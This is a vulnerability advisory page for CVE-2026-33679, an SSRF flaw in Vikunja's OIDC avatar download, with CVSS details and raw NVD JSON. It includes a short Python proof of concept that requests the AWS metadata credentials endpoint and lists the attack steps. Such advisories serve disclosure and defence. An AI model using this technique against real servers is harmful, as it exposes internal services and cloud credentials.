Security Vulnerability Report
中文
CVE-2026-33679 CVSS 6.4 MEDIUM

CVE-2026-33679

Published: 2026-03-24 16:16:35
Last Modified: 2026-03-30 13:56:02

Description

Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system. Version 2.2.1 patches the issue.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:* - VULNERABLE
Vikunja < 2.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33679 # This script demonstrates how the vulnerable DownloadImage function behaves. # An attacker sets their OIDC 'picture' claim to an internal URL. import requests # Target internal endpoint (e.g., AWS Cloud Metadata) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Concept of the vulnerable code in Vikunja (pkg/utils/avatar.go) def vulnerable_download_image(url): # Using a bare http.Client (represented here by requests.Session) # No SSRF checks (e.g., no IP blocklist for 127.0.0.1 or 169.254.169.254) client = requests.Session() try: response = client.get(url, timeout=5) print(f"Status: {response.status_code}") print(f"Response Length: {len(response.content)}") return response.text[:100] # Truncated output except Exception as e: return f"Error: {str(e)}" # Exploit Scenario: # 1. Attacker authenticates to Vikunja via OIDC. # 2. Attacker's OIDC profile 'picture' is set to 'internal_target'. # 3. Vikunja server calls vulnerable_download_image(internal_target). print(f"Simulating request to internal endpoint: {internal_target}") print(vulnerable_download_image(internal_target))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33679", "sourceIdentifier": "[email protected]", "published": "2026-03-24T16:16:35.420", "lastModified": "2026-03-30T13:56:01.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system. Version 2.2.1 patches the issue."}, {"lang": "es", "value": "Vikunja es una plataforma de gestión de tareas de código abierto autoalojada. Antes de la versión 2.2.1, la función `DownloadImage` en `pkg/utils/avatar.go` utiliza un `http.Client{}` básico sin protección SSRF al descargar imágenes de avatar de usuario de la URL de la declaración 'picture' de OpenID Connect. Un atacante que controla la URL de la imagen de perfil de su OIDC puede forzar al servidor Vikunja a realizar solicitudes GET HTTP a puntos finales de metadatos internos o en la nube arbitrarios. Esto elude las protecciones SSRF que se aplican correctamente al sistema de webhooks. La versión 2.2.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.1", "matchCriteriaId": "E8647862-9C78-473D-9FED-7AFC24335A61"}]}]}], "references": [{"url": "https://github.com/go-vikunja/vikunja/commit/363aa6642352b08fc8bc6aaff2f3a550393af1cf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g9xj-752q-xh63", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released", "source": "[email protected]", "tags": ["Release Notes"]}]}}